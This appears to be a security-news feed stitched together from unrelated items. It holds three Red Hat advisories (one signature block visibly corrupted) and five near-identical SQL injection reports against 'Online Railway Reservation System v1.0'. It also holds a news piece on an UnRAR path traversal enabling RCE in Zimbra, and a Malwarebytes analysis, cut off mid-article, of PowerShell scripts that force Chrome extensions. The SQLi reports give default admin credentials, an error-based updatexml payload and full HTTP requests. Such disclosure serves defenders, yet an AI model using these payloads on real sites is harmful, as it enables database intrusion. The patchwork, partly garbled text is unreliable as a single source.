Red Hat Security Advisory 2022-5392-01 - Red Hat Advanced Cluster Management for Kubernetes 2.3.11 images Red Hat Advanced Cluster Management for Kubernetes provides the capabilities to address common challenges that administrators and site reliability engineers face as they work across a range of public and private cloud environments. Clusters and applications are all visible and managed from a single console—with security policy built in. This advisory contains the container images for Red Hat Advanced Cluster Management for Kubernetes, which resolve security issues and fix several bugs. Issues addressed include a traversal vulnerability.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

=====================================================================  
                   Red Hat Security Advisory

Synopsis:          Moderate: Red Hat Advanced Cluster Management 2.3.11 security updates and bug fixes  
Advisory ID:       RHSA-2022:5392-01  
Product:           Red Hat ACM  
Advisory URL:      https://access.redhat.com/errata/RHSA-2022:5392  
Issue date:        2022-06-28  
CVE Names:         CVE-2018-25032 CVE-2020-0404 CVE-2020-4788   
                   CVE-2020-13974 CVE-2020-27820 CVE-2021-0941   
                   CVE-2021-3612 CVE-2021-3634 CVE-2021-3669   
                   CVE-2021-3695 CVE-2021-3696 CVE-2021-3697   
                   CVE-2021-3737 CVE-2021-3743 CVE-2021-3744   
                   CVE-2021-3752 CVE-2021-3759 CVE-2021-3764   
                   CVE-2021-3772 CVE-2021-3773 CVE-2021-4002   
                   CVE-2021-4037 CVE-2021-4083 CVE-2021-4157   
                   CVE-2021-4189 CVE-2021-4197 CVE-2021-4203   
                   CVE-2021-20322 CVE-2021-21781 CVE-2021-25219   
                   CVE-2021-26401 CVE-2021-29154 CVE-2021-37159   
                   CVE-2021-38185 CVE-2021-41617 CVE-2021-41864   
                   CVE-2021-42739 CVE-2021-43056 CVE-2021-43389   
                   CVE-2021-43976 CVE-2021-44733 CVE-2021-45485   
                   CVE-2021-45486 CVE-2022-0001 CVE-2022-0002   
                   CVE-2022-0235 CVE-2022-0286 CVE-2022-0322   
                   CVE-2022-0492 CVE-2022-0536 CVE-2022-1011   
                   CVE-2022-1271 CVE-2022-1708 CVE-2022-21803   
                   CVE-2022-23806 CVE-2022-24785 CVE-2022-28733   
                   CVE-2022-28734 CVE-2022-28735 CVE-2022-28736   
                   CVE-2022-28737 CVE-2022-29526 CVE-2022-29810   
=====================================================================

1. Summary:

Red Hat Advanced Cluster Management for Kubernetes 2.3.11 general  
availability release images, which provide security updates and bug fixes.

Red Hat Product Security has rated this update as having a security impact  
of Moderate. A Common Vulnerability Scoring System (CVSS) base score,  
which gives a detailed severity rating, is available for each vulnerability  
from the CVE links in the References section.

2. Description:

Red Hat Advanced Cluster Management for Kubernetes 2.3.11 images

Red Hat Advanced Cluster Management for Kubernetes provides the  
capabilities to address common challenges that administrators and site  
reliability engineers face as they work across a range of public and  
private cloud environments. Clusters and applications are all visible and  
managed from a single console—with security policy built in.

This advisory contains the container images for Red Hat Advanced Cluster  
Management for Kubernetes, which resolve security issues and fix several  
bugs. See the following Release Notes documentation, which will be updated  
shortly for this release, for additional details about this release:

https://access.redhat.com/documentation/en-us/red_hat_advanced_cluster_management_for_kubernetes/2.3/html/release_notes/

Security fixes: 

* node-fetch: exposure of sensitive information to an unauthorized actor  
(CVE-2022-0235)

* follow-redirects: Exposure of Sensitive Information via Authorization  
Header leak (CVE-2022-0536)

* nconf: Prototype pollution in memory store (CVE-2022-21803)

* golang: crypto/elliptic IsOnCurve returns true for invalid field elements  
(CVE-2022-23806)

* Moment.js: Path traversal in moment.locale (CVE-2022-24785)

* golang: syscall: faccessat checks wrong group (CVE-2022-29526)

* go-getter: writes SSH credentials into logfile, exposing sensitive  
credentials to local uses (CVE-2022-29810)

Bug fixes:

* RHACM 2.3.11 images (BZ# 2082087)

3. Solution:

For Red Hat Advanced Cluster Management for Kubernetes, see the following  
documentation, which will be updated shortly for this release, for  
important  
instructions on how to upgrade your cluster and fully apply this  
asynchronous errata update:

https://access.redhat.com/documentation/en-us/red_hat_advanced_cluster_management_for_kubernetes/2.3/html/release_notes/index

For details on how to apply this update, refer to:

https://access.redhat.com/documentation/en-us/red_hat_advanced_cluster_management_for_kubernetes/2.3/html-single/install/index#installing

4. Bugs fixed (https://bugzilla.redhat.com/):

2044591 - CVE-2022-0235 node-fetch: exposure of sensitive information to an unauthorized actor  
2053259 - CVE-2022-0536 follow-redirects: Exposure of Sensitive Information via Authorization Header leak  
2053429 - CVE-2022-23806 golang: crypto/elliptic IsOnCurve returns true for invalid field elements  
2072009 - CVE-2022-24785 Moment.js: Path traversal  in moment.locale  
2074689 - CVE-2022-21803 nconf: Prototype pollution in memory store  
2080279 - CVE-2022-29810 go-getter: writes SSH credentials into logfile, exposing sensitive credentials to local uses  
2082087 - RHACM 2.3.11 images  
2084085 - CVE-2022-29526 golang: syscall: faccessat checks wrong group

5. References:

https://access.redhat.com/security/cve/CVE-2018-25032  
https://access.redhat.com/security/cve/CVE-2020-0404  
https://access.redhat.com/security/cve/CVE-2020-4788  
https://access.redhat.com/security/cve/CVE-2020-13974  
https://access.redhat.com/security/cve/CVE-2020-27820  
https://access.redhat.com/security/cve/CVE-2021-0941  
https://access.redhat.com/security/cve/CVE-2021-3612  
https://access.redhat.com/security/cve/CVE-2021-3634  
https://access.redhat.com/security/cve/CVE-2021-3669  
https://access.redhat.com/security/cve/CVE-2021-3695  
https://access.redhat.com/security/cve/CVE-2021-3696  
https://access.redhat.com/security/cve/CVE-2021-3697  
https://access.redhat.com/security/cve/CVE-2021-3737  
https://access.redhat.com/security/cve/CVE-2021-3743  
https://access.redhat.com/security/cve/CVE-2021-3744  
https://access.redhat.com/security/cve/CVE-2021-3752  
https://access.redhat.com/security/cve/CVE-2021-3759  
https://access.redhat.com/security/cve/CVE-2021-3764  
https://access.redhat.com/security/cve/CVE-2021-3772  
https://access.redhat.com/security/cve/CVE-2021-3773  
https://access.redhat.com/security/cve/CVE-2021-4002  
https://access.redhat.com/security/cve/CVE-2021-4037  
https://access.redhat.com/security/cve/CVE-2021-4083  
https://access.redhat.com/security/cve/CVE-2021-4157  
https://access.redhat.com/security/cve/CVE-2021-4189  
https://access.redhat.com/security/cve/CVE-2021-4197  
https://access.redhat.com/security/cve/CVE-2021-4203  
https://access.redhat.com/security/cve/CVE-2021-20322  
https://access.redhat.com/security/cve/CVE-2021-21781  
https://access.redhat.com/security/cve/CVE-2021-25219  
https://access.redhat.com/security/cve/CVE-2021-26401  
https://access.redhat.com/security/cve/CVE-2021-29154  
https://access.redhat.com/security/cve/CVE-2021-37159  
https://access.redhat.com/security/cve/CVE-2021-38185  
https://access.redhat.com/security/cve/CVE-2021-41617  
https://access.redhat.com/security/cve/CVE-2021-41864  
https://access.redhat.com/security/cve/CVE-2021-42739  
https://access.redhat.com/security/cve/CVE-2021-43056  
https://access.redhat.com/security/cve/CVE-2021-43389  
https://access.redhat.com/security/cve/CVE-2021-43976  
https://access.redhat.com/security/cve/CVE-2021-44733  
https://access.redhat.com/security/cve/CVE-2021-45485  
https://access.redhat.com/security/cve/CVE-2021-45486  
https://access.redhat.com/security/cve/CVE-2022-0001  
https://access.redhat.com/security/cve/CVE-2022-0002  
https://access.redhat.com/security/cve/CVE-2022-0235  
https://access.redhat.com/security/cve/CVE-2022-0286  
https://access.redhat.com/security/cve/CVE-2022-0322  
https://access.redhat.com/security/cve/CVE-2022-0492  
https://access.redhat.com/security/cve/CVE-2022-0536  
https://access.redhat.com/security/cve/CVE-2022-1011  
https://access.redhat.com/security/cve/CVE-2022-1271  
https://access.redhat.com/security/cve/CVE-2022-1708  
https://access.redhat.com/security/cve/CVE-2022-21803  
https://access.redhat.com/security/cve/CVE-2022-23806  
https://access.redhat.com/security/cve/CVE-2022-24785  
https://access.redhat.com/security/cve/CVE-2022-28733  
https://access.redhat.com/security/cve/CVE-2022-28734  
https://access.redhat.com/security/cve/CVE-2022-28735  
https://access.redhat.com/security/cve/CVE-2022-28736  
https://access.redhat.com/security/cve/CVE-2022-28737  
https://access.redhat.com/security/cve/CVE-2022-29526  
https://access.redhat.com/security/cve/CVE-2022-29810  
https://access.redhat.com/security/updates/classification/#moderate

6. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2022 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIVAwUBYrtJ4tzjgjWX9erEAQhB7BAAjK/ttDCS0YSPIqU7tWWoJbOtNq/SY22r  
tGrulvoW5TGFLgEpJqYVFwp24mudMiB2N1tUpmAIj4MXetEoXGudK4YHrtvUpGS0  
6zgvuRRZJVu4M2BZmuHkd/bdWR6q0Rdj4DGWOUC7YuJ4QmCNgoYXdJGeX0XK1HKN  
Gz1xLiZmhbVNvV3mFn19lJl0lZasf/WMagQ4m9jS+Ysa08/a9NHLtBykp1tQz2rU  
r0v69yDPMfEXkkCftJ0gyM/JGhvIuaHRrvRBS7bdcsD8FLuWB0uL7Ux1DmPbj5Fa  
poQ7ah49Uw8sakY1ew50+8jpFildm2DYh6PKwsYOng8DGCxgK0szghMWzMCHIY3/  
voBkspsFHeTaMpfn3oe1+5iqO1VBcCLPySU0ShPJTNFW4Go0vICpz1Y/rexJ8Skr  
/CR52YvSfWunr7ztcsUCzoJtp/+kDn06oW12aqhPV+Zr2DTq/F+aEoxdXzGhNU30  
cCI/aKfWqiQ7Nmx+qB0CFSLJvvrZAXYzeaKOIVujs3hNUKyMJeD+C1lFhUrEct7E  
XzWE8W5zrkP6/554z+I+cZM3FF7lJia9FdocZEskIJISQm+x6sV9XF2S7IrpQc/r  
uuz49gUCxNPl7Klz4mgKHNeYSTgPj3muIGzwGqzZ+u2UyDbob60hkq7Tu0nr6wMK  
AnoqF6RQUic=  
=dTGD  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2022-5392-01

Red Hat Security Advisory 2022-5234-01 - The virtualenv tool creates isolated Python environments. The virtualenv tool is a successor to workingenv, and an extension of virtual-python. Issues addressed include a traversal vulnerability.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

====================================================================                     
Red Hat Security Advisory

Synopsis:          Moderate: python-virtualenv security update  
Advisory ID:       RHSA-2022:5234-01  
Product:           Red Hat Enterprise Linux  
Advisory URL:      https://access.redhat.com/errata/RHSA-2022:5234  
Issue date:        2022-06-28  
CVE Names:         CVE-2019-20916  
====================================================================  
1. Summary:

An update for python-virtualenv is now available for Red Hat Enterprise  
Linux 7.

Red Hat Product Security has rated this update as having a security impact  
of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which  
gives a detailed severity rating, is available for each vulnerability from  
the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat Enterprise Linux Client Optional (v. 7) - noarch  
Red Hat Enterprise Linux ComputeNode Optional (v. 7) - noarch  
Red Hat Enterprise Linux Server (v. 7) - noarch  
Red Hat Enterprise Linux Workstation (v. 7) - noarch

3. Description:

The virtualenv tool creates isolated Python environments. The virtualenv  
tool is a successor to workingenv, and an extension of virtual-python.

Security Fix(es):

* python-pip: directory traversal in _download_http_url() function in  
src/pip/_internal/download.py (CVE-2019-20916)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

4. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, refer to:

https://access.redhat.com/articles/11258

5. Bugs fixed (https://bugzilla.redhat.com/):

1868135 - CVE-2019-20916 python-pip: directory traversal in _download_http_url() function in src/pip/_internal/download.py

6. Package List:

Red Hat Enterprise Linux Client Optional (v. 7):

Source:  
python-virtualenv-15.1.0-7.el7_9.src.rpm

noarch:  
python-virtualenv-15.1.0-7.el7_9.noarch.rpm

Red Hat Enterprise Linux ComputeNode Optional (v. 7):

Source:  
python-virtualenv-15.1.0-7.el7_9.src.rpm

noarch:  
python-virtualenv-15.1.0-7.el7_9.noarch.rpm

Red Hat Enterprise Linux Server (v. 7):

Source:  
python-virtualenv-15.1.0-7.el7_9.src.rpm

noarch:  
python-virtualenv-15.1.0-7.el7_9.noarch.rpm

Red Hat Enterprise Linux Workstation (v. 7):

Source:  
python-virtualenv-15.1.0-7.el7_9.src.rpm

noarch:  
python-virtualenv-15.1.0-7.el7_9.noarch.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2019-20916  
https://access.redhat.com/security/updates/classification/#moderate

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2022 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIVAwUBYrtJ6NzjgjWX9erEAQhEiA/+IThsZVtYc7rKV5LKlzAhaQqRJ8tENsuM  
y6hqYTMEQRIBBbpU/gMTu44wfUSR0K/0sqf5gr/VTEPpREmEdSjTuB0GjsX8GL+s  
qZyzd4ctWhB6+5pnAd0Fs/PM5WnY6+POV9eSD5Ka4oSUz7xlTcVo+Q4ltx/sStAn  
ncgxhnJd1Q61O3w44EMxc2XIZx15zv7EXskIYAH7AKAlpXF6I1HqZRoIa/3YgvNv  
vmPTtOse2GU+hqrOhAoGtCu7a4WVJVSpotPlEenNSTcuMZGa75Pxf7+eQl3b8azA  
8XZ5I2JjBz9/4RKmfq70/4UdtuVPk4cIqNE5T+FR1t/XsK95ta1b+hTdZnbDqSER  
lyNu42PSaOTQMAxfbAnNNJiw+DJ/K3RrYDIgeiLn6JnpFNQ8NrT62Pji7kWt6Kcp  
5wrhLN1p1CdD5EpE1CFujgMWlnUsyX+TM5H+fBDvF3Fj0Yd0vIpkSA8N0briSkKX  
Y2by69Nw/Ya3CmYE6iNwi43jJ1IcioLql/khEPi0YQyLexU/Yl3i8rqmF/jQi1fT  
K/XNJez910t9FQX2MCLFp4XQKax8N/I/qkHfo8/9kFPaGLPIRulHQMvGgNqSy/xq  
opyUPJgU+xPJmMiCY0jCFIVUvnkImU3Qb8gd8I0COnpj5tiIRoP0Zrxt9wT17c6w  
6rAGnb1LHD8=6wD8  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2022-5234-01

Red Hat Security Advisory 2022-5219-01 - This is a kernel live patch module which is automatically loaded by the RPM post-install script to modify the code of a running kernel. Issues addressed include a buffer overflow vulnerability.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

====================================================================                     
Red Hat Security Advisory

Synopsis:          Important: kpatch-patch security update  
Advisory ID:       RHSA-2022:5219-01  
Product:           Red Hat Enterprise Linux  
Advisory URL:      https://access.redhat.com/errata/RHSA-2022:5219  
Issue date:        2022-06-28  
CVE Names:         CVE-2022-27666  
====================================================================  
1. Summary:

An update for kpatch-patch is now available for Red Hat Enterprise Linux 8.

Red Hat Product Security has rated this update as having a security impact  
of Important. A Common Vulnerability Scoring System (CVSS) base score,  
which gives a detailed severity rating, is available for each vulnerability  
from the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat Enterprise Linux BaseOS (v. 8) - ppc64le, x86_64

3. Description:

This is a kernel live patch module which is automatically loaded by the RPM  
post-install script to modify the code of a running kernel.

Security Fix(es):

* kernel: buffer overflow in IPsec ESP transformation code (CVE-2022-27666)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

4. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, refer to:

https://access.redhat.com/articles/11258

5. Bugs fixed (https://bugzilla.redhat.com/):

2061633 - CVE-2022-27666 kernel: buffer overflow in IPsec ESP transformation code

6. Package List:

Red Hat Enterprise Linux BaseOS (v. 8):

Source:  
kpatch-patch-4_18_0-372_9_1-1-1.el8.src.rpm

ppc64le:  
kpatch-patch-4_18_0-372_9_1-1-1.el8.ppc64le.rpm  
kpatch-patch-4_18_0-372_9_1-debuginfo-1-1.el8.ppc64le.rpm  
kpatch-patch-4_18_0-372_9_1-debugsource-1-1.el8.ppc64le.rpm

x86_64:  
kpatch-patch-4_18_0-372_9_1-1-1.el8.x86_64.rpm  
kpatch-patch-4_18_0-372_9_1-debuginfo-1-1.el8.x86_64.rpm  
kpatch-patch-4_18_0-372_9_1-debugsource-1-1.el8.x86_64.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2022-27666  
https://access.redhat.com/security/updates/classification/#important

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2022 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIVAwUBYrtJ+NzjgjWX9erEAQjSiw/+LYsWXUc9gqmEq+qzZmVkWwEqbKInMdh0  
aMGGJ29t1t62J1wTI7KID8h/3KYpCKt1BJh9Mit/VCjWDi0pY+J/iuBW1xhT1qRM  
la70aJvc3VBMOYIVPUFV1ImafjPdRNbHq/UgZFB1Uhipjt6uuBogsSTr5t79psfb  
uwj8JupQuil41wlZBuTR8qYk3p62U0JZWA4Z68J57X1ysShYehV723tjDjYyWq4Z  
QOhZRPt1mciyHuL4QAVn6eA4I4pFGm8SsKChv3wQc4g6p+P2apHeWC5ZMWaRTesa  
JMtW2iAPyE74v/vpRn/WdSzehtQAaR4ooCBeRKrBI2bG5LsAg+PWeKQkbV99Yyxq  
0hDRXhMs4EOWVJv9doszKXnjuCVOxZrRwTx0VPT9UmrESOSD+DI1xRpOzwrPauPf  
CrnS30aTibbJzzEwk9tN9uqUzZOIwbABO2wiXxs9FrvnSqX6djc1Xyj9qYPye+Qj  
Q0HQndOxh0S62AnbraQquolr8fHNfK7sRl4irSYtTH2taxLjSr4ZL33p8MiYB5Lh  
YZR8ljR+poZpTXmOAqXJwyqz8A8jpqMKzzPHgFjk+VWgoOtb0z8MC5q6VDtX6ToJ  
TSfBczJPNhvUooNfmGUHYbgoeGoBQaiTL2u09vY2TmCJM/Ll+qHgjeqEBUCgRym4  
EPrYg+0T+K4½Z/  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2022-5219-01

Online Railway Reservation System v1.0 was discovered to contain a SQL injection vulnerability via the id parameter at /classes/Master.php?f=delete_service.

**Online Railway Reservation System v1.0 by oretnom23 has SQL injection**

The password for the backend login account is: admin/admin123

vendors: https://www.sourcecodester.com/php/15121/online-railway-reservation-system-phpoop-project-free-source-code.html

Vulnerability File: /orrs/classes/Master.php?f=delete\_service

Vulnerability location: /orrs/classes/Master.php?f=delete\_service, id=

Current database name: orrs\_db,length is 7

\[+\] Payload: id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

You need to execute the following sql statement in the database to create the "service\_list" table

CREATE TABLE \`service\_list\` (
  \`id\` int(30) NOT NULL,
  \`code\` varchar(100) NOT NULL,
  \`name\` text NOT NULL,
  \`delete\_flag\` tinyint(1) NOT NULL,
  \`date\_created\` datetime NOT NULL,
  \`date\_updated\` datetime NOT NULL
) ENGINE\=InnoDB DEFAULT CHARSET\=utf8mb4;
COMMIT;

POST /orrs/classes/Master.php?f\=delete\_service HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: application/json, text/javascript, \*/\*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 65
Cookie: PHPSESSID=hea24clorqs9kplqalqihp0ik4
Connection: close
id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+

CVE-2022-33061: bug_report/SQLi-9.md at main · k0xx11/bug_report

Online Railway Reservation System v1.0 was discovered to contain a SQL injection vulnerability via the id parameter at /classes/Master.php?f=delete_train.

**Online Railway Reservation System v1.0 by oretnom23 has SQL injection**

The password for the backend login account is: admin/admin123

vendors: https://www.sourcecodester.com/php/15121/online-railway-reservation-system-phpoop-project-free-source-code.html

Vulnerability File: /orrs/classes/Master.php?f=delete\_train

Vulnerability location: /orrs/classes/Master.php?f=delete\_train, id=

Current database name: orrs\_db,length is 7

\[+\] Payload: id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

POST /orrs/classes/Master.php?f\=delete\_train HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: application/json, text/javascript, \*/\*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.19/orrs/admin/?page=trains
Content-Length: 65
Cookie: PHPSESSID=hea24clorqs9kplqalqihp0ik4
Connection: close
id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+

CVE-2022-33059: bug_report/SQLi-7.md at main · k0xx11/bug_report

Online Railway Reservation System v1.0 was discovered to contain a SQL injection vulnerability via the id parameter at /classes/Master.php?f=delete_message.

**Online Railway Reservation System v1.0 by oretnom23 has SQL injection**

The password for the backend login account is: admin/admin123

vendors: https://www.sourcecodester.com/php/15121/online-railway-reservation-system-phpoop-project-free-source-code.html

Vulnerability File: /orrs/classes/Master.php?f=delete\_message

Vulnerability location: /orrs/classes/Master.php?f=delete\_message, id=

Current database name: orrs\_db,length is 7

\[+\] Payload: id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

POST /orrs/classes/Master.php?f\=delete\_message HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: application/json, text/javascript, \*/\*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.19/orrs/admin/?page=inquiries
Content-Length: 65
Cookie: PHPSESSID=hea24clorqs9kplqalqihp0ik4
Connection: close
id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+

CVE-2022-33058: bug_report/SQLi-6.md at main · k0xx11/bug_report

Online Railway Reservation System v1.0 was discovered to contain a SQL injection vulnerability via the id parameter at /classes/Master.php?f=delete_reservation.

**Online Railway Reservation System v1.0 by oretnom23 has SQL injection**

The password for the backend login account is: admin/admin123

vendors: https://www.sourcecodester.com/php/15121/online-railway-reservation-system-phpoop-project-free-source-code.html

Vulnerability File: /orrs/classes/Master.php?f=delete\_reservation

Vulnerability location: /orrs/classes/Master.php?f=delete\_reservation, id=

Current database name: orrs\_db,length is 7

\[+\] Payload: id=8' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

POST /orrs/classes/Master.php?f\=delete\_reservation HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: application/json, text/javascript, \*/\*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.19/orrs/admin/?page=reservations
Content-Length: 65
Cookie: PHPSESSID=hea24clorqs9kplqalqihp0ik4
Connection: close
id=8' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+

CVE-2022-33057: bug_report/SQLi-5.md at main · k0xx11/bug_report

Online Railway Reservation System v1.0 was discovered to contain a SQL injection vulnerability via the id parameter at /classes/Master.php?f=delete_schedule.

**Online Railway Reservation System v1.0 by oretnom23 has SQL injection**

The password for the backend login account is: admin/admin123

vendors: https://www.sourcecodester.com/php/15121/online-railway-reservation-system-phpoop-project-free-source-code.html

Vulnerability File: /orrs/classes/Master.php?f=delete\_schedule

Vulnerability location: /orrs/classes/Master.php?f=delete\_schedule, id=

Current database name: orrs\_db,length is 7

\[+\] Payload: id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

POST /orrs/classes/Master.php?f\=delete\_schedule HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: application/json, text/javascript, \*/\*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.19/orrs/admin/?page=schedules
Content-Length: 65
Cookie: PHPSESSID=hea24clorqs9kplqalqihp0ik4
Connection: close
id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+

CVE-2022-33060: bug_report/SQLi-8.md at main · k0xx11/bug_report

Other applications using binary to extract untrusted archives are potentially vulnerable too

Other applications using binary to extract untrusted archives are potentially vulnerable too

A path traversal vulnerability in RarLab’s UnRAR binary can lead to remote code execution (RCE) on business email platform Zimbra and can potentially affect other software.

The UnRAR utility is used to extract RAR archives to a temporary directory for virus-scanning and spam-checking purposes.

However, a recently patched file-write flaw (CVE-2022-30333) means an unauthenticated attacker can “create files outside of the target extraction directory when an application or victim user extracts an untrusted archive”, according to a blog post published by Simon Scannell, vulnerability researcher at Swiss security firm Sonar (formerly SonarSource).

Catch up with the latest security research news

If malicious hackers manage to write to a known location, continued Scannell, they could potentially execute arbitrary commands on the system.

Successful exploitation of the high severity (CVSS 7.5) issue on Zimbra, an open source platform used by more than 200,000 businesses, “gives an attacker access to every single email sent and received on a compromised email server”.

They can also silently backdoor login functionalities and steal users’ credentials, as well as escalate access to an organization’s other internal services, warned Scannell.

**Symlink protection bypass**

The flaw resides in UnRAR’s mechanism for preventing symbolic link (symlink) attacks on Unix systems, whereby the function for validating relative symlinks, ,checks if the symlink target contains on Unix or on Windows.

This check can, however, be negated due to the fact that untrusted input is sometimes modified after it has been validated, which breaks assumptions made during the validation step.

Specifically, once the symlink has been validated, UnRAR converts backslashes (\\) to forward slashes (/) with to ensure that a RAR archive created on Windows can be extracted on a Unix system.

“By exploiting this behavior, an attacker can write a file anywhere on the target filesystem,” said Scannell.

**RCE on Zimbra**

Since the Amavis content filter used by Zimbra to analyze extracted files operates as the Zimbra user, added Scannell, the file-write primitive allows the creation and overwriting of files in other services’ working directories too.

The researcher detailed how an attacker could achieve RCE on Zimbra by writing a JSP shell to the web directory, using a file-based command injection, or creating an SSH key.

Sonar notified RarLab of the flaw on May 4, 2022, and a security patch was included with version 6.12 binaries, which were released on May 6.

Zimbr developer Synacor was also warned about the flaw on May 4 so it could warn users to patch their cloud instances.

A blog post detailing the technicalities was published yesterday (June 28).

Only Unix binaries – excluding Android – and implementations using RarLab’s code are affected.

Scannell thanked RarLab’s developers for “their very fast and professional handling of this issue”, and shouted out Zimbra’s security team for “warning their customers to help prevent exploitation”.

Zimbra is something of a specialty for Sonar, whose researchers have in the last 12 months discovered a bug chain leading to full Zimbra server compromise, an XSS flaw that powered spear phishing campaigns, and, only two weeks ago, a memcached injection vulnerability that imperilled login credentials.

RELATED Business email platform Zimbra patches memcached injection flaw that imperils user credentials

UnRAR path traversal flaw can lead to RCE in Zimbra

Malwarebytes found a family of forced Chrome extensions that can't be removed because of a policy change that tells users "Your browser is managed".
The post Forced Chrome extensions get removed, keep reappearing appeared first on Malwarebytes Labs.

In the continued saga of annoying search extensions we have a new end-of-level boss.

Victims have been reporting browser extensions that were removed by Malwarebytes, but “magically” came back later. Since the victims also complained about the message saying their browser was “managed”, we had a pretty good idea where to look.

_custom search bar_ is _one of the forced extensions_

**Search extensions**

The culprits turned out to be search extensions. Which is often the case when we spot potentially unwanted programs (PUPs) that use malware tactics to get installed and gain persistence.

The search hijackers “active search bar” and “custom search bar” were both available in the Chrome web store at the time of writing even though we reported them days ago.

_active search bar is also available in the webstore_

**PowerShell**

It took some digging to find the origin, since all we had were the extensions. And when the extensions were installed directly from the webstore, nothing happened out of the ordinary. However, some hunting on VirusTotal soon led me to a few recently uploaded PowerShell scripts that included the string “ExtensionInstallForcelist.” I looked for that string because we know from the past that these registry policies account for the “Your browser is managed” warnings.

$CPath = "HKLM:\SOFTWARE\\Policies\\Google\\Chrome\ExtensionInstallForcelist";

$EPath = "HKLM:\SOFTWARE\Policies\Microsoft\Edge\ExtensionInstallForcelist";

The description in the Chromium documentation about the ExtensionInstallForcelist states:

> “Specifies a list of apps and extensions that are installed silently, without user interaction, and which cannot be uninstalled nor disabled by the user.”

And to confirm this finding, the victims that provided logs all had one of these PowerShell script listed in their Scheduled Tasks.

_The Scheduled Task triggers the PowerShell script_

The Scheduled Task was set to run every four hours, which explained why the extensions kept coming back.

**Installer**

But Scheduled Tasks don’t install themselves either and dropping PowerShell scripts in the System32 folder requires Administrator privileges, so we needed to dig a little further to find an installer.

The domain wincloudservice.com was used as a download location in all the PowerShell scripts so we used that domain as a search parameter in our next stage of VirusTotal hunting. This search eventually returned three installers. What they had in common at first glance was that the filenames all ended with “\_x64LTS.exe” and that they were all signed by “Tommy Tech LTD.”

